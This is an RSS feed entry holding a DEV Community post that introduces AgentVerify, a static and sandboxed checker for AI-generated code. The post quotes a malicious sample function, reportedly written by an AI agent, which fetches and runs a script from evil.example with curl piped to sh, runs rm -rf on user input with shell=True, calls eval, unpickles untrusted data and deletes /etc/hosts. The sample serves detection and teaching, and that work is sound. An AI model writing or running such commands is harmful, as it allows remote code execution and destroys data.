<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: apple agent</title>
    <description>The latest articles on DEV Community by apple agent (@apple_verify).</description>
    <link>https://dev.to/apple_verify</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4105286%2F89502c3e-4fd4-457e-8332-d2aa4f978271.png</url>
      <title>DEV Community: apple agent</title>
      <link>https://dev.to/apple_verify</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/apple_verify"/>
    <language>en</language>
    <item>
      <title>An AI agent almost made me run `rm -rf` — so I built a verifier for AI code published: false</title>
      <dc:creator>apple agent</dc:creator>
      <pubDate>Wed, 02 Sep 2026 03:01:08 +0000</pubDate>
      <link>https://dev.to/apple_verify/an-ai-agent-almost-made-me-run-rm-rf-so-i-built-a-verifier-for-ai-codepublished-false-oeb</link>
      <guid>https://dev.to/apple_verify/an-ai-agent-almost-made-me-run-rm-rf-so-i-built-a-verifier-for-ai-codepublished-false-oeb</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyt9izssdjgpg78c2pxh8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyt9izssdjgpg78c2pxh8.png" alt=" " width="800" height="336"&gt;&lt;/a&gt;Last week an AI coding agent wrote me a small "helper" function. It looked&lt;br&gt;
completely reasonable. Then I actually read it line by line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_user_task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;saved_blob&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                       &lt;span class="c1"&gt;# arbitrary code execution
&lt;/span&gt;    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl http://evil.example/x | sh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# shell + network
&lt;/span&gt;    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rm -rf &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;saved_blob&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# insecure deserialization
&lt;/span&gt;    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/hosts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# destructive
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I almost ran it.&lt;/p&gt;

&lt;p&gt;That was the moment it clicked: &lt;strong&gt;we trust AI-generated code far too quickly.&lt;/strong&gt;&lt;br&gt;
The model sounds confident. The code looks clean. But "looks fine" is not&lt;br&gt;
"is correct" and definitely not "is safe."&lt;/p&gt;

&lt;p&gt;So I built &lt;strong&gt;AgentVerify&lt;/strong&gt; — a verification layer that sits between &lt;em&gt;code&lt;br&gt;
generated&lt;/em&gt; and &lt;em&gt;code trusted&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fprhq43a02qk0fvl6xyml.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fprhq43a02qk0fvl6xyml.gif" alt="AgentVerify blocks malicious code and passes clean code" width="759" height="565"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What it does
&lt;/h2&gt;

&lt;p&gt;You hand it code (and optionally tests). It runs four checks in an isolated&lt;br&gt;
sandbox and returns a single, structured &lt;strong&gt;pass/fail verdict&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Question it answers&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Does the program actually execute?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tests&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Do the provided tests pass?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Does it even parse/compile?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;security&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any dangerous patterns — flagged &lt;strong&gt;without running the code&lt;/strong&gt;?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here's the verdict on that malicious file above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FAILED — ❌ security
[FAILED] security: Blocked: 5 high-risk pattern(s)
    🔴 [HIGH] :14 — dynamic code execution via eval()
    🔴 [HIGH] :15 — shell command execution
    🔴 [HIGH] :16 — subprocess with shell=True
    🔴 [HIGH] :17 — insecure deserialization
    🔴 [HIGH] :18 — file deletion
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And on clean code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PASSED — ✅ lint  ✅ run  ✅ security  ✅ tests   score: 100%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why the security check never runs your code
&lt;/h2&gt;

&lt;p&gt;This is the part I care about most. To find out whether code is dangerous, you&lt;br&gt;
must &lt;strong&gt;not execute it&lt;/strong&gt; — running it to see what happens is exactly the trap.&lt;/p&gt;

&lt;p&gt;So the security check is &lt;strong&gt;static&lt;/strong&gt;. For Python it parses the AST, which means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It flags real calls — &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;os.system&lt;/code&gt;, &lt;code&gt;subprocess(shell=True)&lt;/code&gt;,
&lt;code&gt;pickle.loads&lt;/code&gt;, file deletion, native FFI, outbound-network imports — with
exact line numbers.&lt;/li&gt;
&lt;li&gt;It does &lt;strong&gt;not&lt;/strong&gt; false-positive on the word &lt;code&gt;eval&lt;/code&gt; sitting harmlessly inside a
string or a comment. A naive regex scanner gets this wrong; the AST doesn't.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Running untrusted code safely
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;run&lt;/code&gt; and &lt;code&gt;tests&lt;/code&gt; checks &lt;em&gt;do&lt;/em&gt; execute code — so that happens in a throwaway&lt;br&gt;
Docker container per job, hardened:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;no network&lt;/li&gt;
&lt;li&gt;capped memory / CPU / PIDs (fork-bomb protection)&lt;/li&gt;
&lt;li&gt;dropped Linux capabilities, &lt;code&gt;no-new-privileges&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;non-root user, read-only root filesystem&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code goes in read-only; only stdout/stderr and the exit code come back.&lt;/p&gt;
&lt;h2&gt;
  
  
  Does it actually work? 1,000 tests.
&lt;/h2&gt;

&lt;p&gt;I stress-tested it on &lt;strong&gt;1,000 verifications&lt;/strong&gt; across small → large programs — an&lt;br&gt;
LRU cache, Dijkstra's algorithm, a JSON parser, a recursive-descent expression&lt;br&gt;
interpreter — plus injected syntax-error, runtime-crash, and malicious variants.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result: 100% verdict accuracy.&lt;/strong&gt; Good code passed; broken and unsafe code&lt;br&gt;
failed. Every time.&lt;/p&gt;

&lt;p&gt;Then I did the honest thing: I ran AgentVerify &lt;strong&gt;on its own source code&lt;/strong&gt;. All&lt;br&gt;
33 modules parse cleanly, and the only files it flags for security are its own&lt;br&gt;
sandbox modules — the ones that genuinely call &lt;code&gt;subprocess&lt;/code&gt; and delete their&lt;br&gt;
temp dirs. Notably, the security scanner file itself, which contains the strings&lt;br&gt;
&lt;code&gt;"eval"&lt;/code&gt; and &lt;code&gt;"os.system"&lt;/code&gt; in its rule tables, is &lt;strong&gt;not&lt;/strong&gt; flagged — because the&lt;br&gt;
scan is AST-based. Zero false positives.&lt;/p&gt;
&lt;h2&gt;
  
  
  Built to scale
&lt;/h2&gt;

&lt;p&gt;It's not a toy script. The architecture is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client → stateless API → Redis queue → worker pool → Docker sandbox → Verdict
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API holds no state, jobs are queued, and throughput is just the number of&lt;br&gt;
workers (&lt;code&gt;docker compose up --scale worker=20&lt;/code&gt;). Locally you can run it with an&lt;br&gt;
in-memory queue and no infra at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/jayswalaman40-tech/agentverify
&lt;span class="nb"&gt;cd &lt;/span&gt;agentverify
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# verify a file (run + tests + lint + security)&lt;/span&gt;
agentverify verify solution.py &lt;span class="nt"&gt;--test&lt;/span&gt; test_solution.py &lt;span class="nt"&gt;--language&lt;/span&gt; python

&lt;span class="c"&gt;# see it block the malicious demo&lt;/span&gt;
agentverify verify examples/demo_unsafe.py &lt;span class="nt"&gt;--language&lt;/span&gt; python &lt;span class="nt"&gt;--check&lt;/span&gt; security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding a new check or a new language is a single file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The security check is &lt;strong&gt;heuristic/static&lt;/strong&gt; — it catches common dangerous
patterns, not everything, and won't defeat determined obfuscation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python and Node&lt;/strong&gt; only so far.&lt;/li&gt;
&lt;li&gt;The hardened &lt;strong&gt;multi-tenant hosting&lt;/strong&gt; story isn't battle-tested yet.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  It's open source
&lt;/h2&gt;

&lt;p&gt;AgentVerify is &lt;strong&gt;AGPL-3.0&lt;/strong&gt;. I'd genuinely love feedback — especially on the&lt;br&gt;
sandbox hardening and which dangerous patterns I'm missing.&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;&lt;a href="https://github.com/jayswalaman40-tech/agentverify" rel="noopener noreferrer"&gt;https://github.com/jayswalaman40-tech/agentverify&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're building with AI agents, I think a verification layer is going to&lt;br&gt;
become as normal as running tests. Would love to hear how you're handling this&lt;br&gt;
today.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>coding</category>
      <category>python</category>
      <category>security</category>
    </item>
  </channel>
</rss>
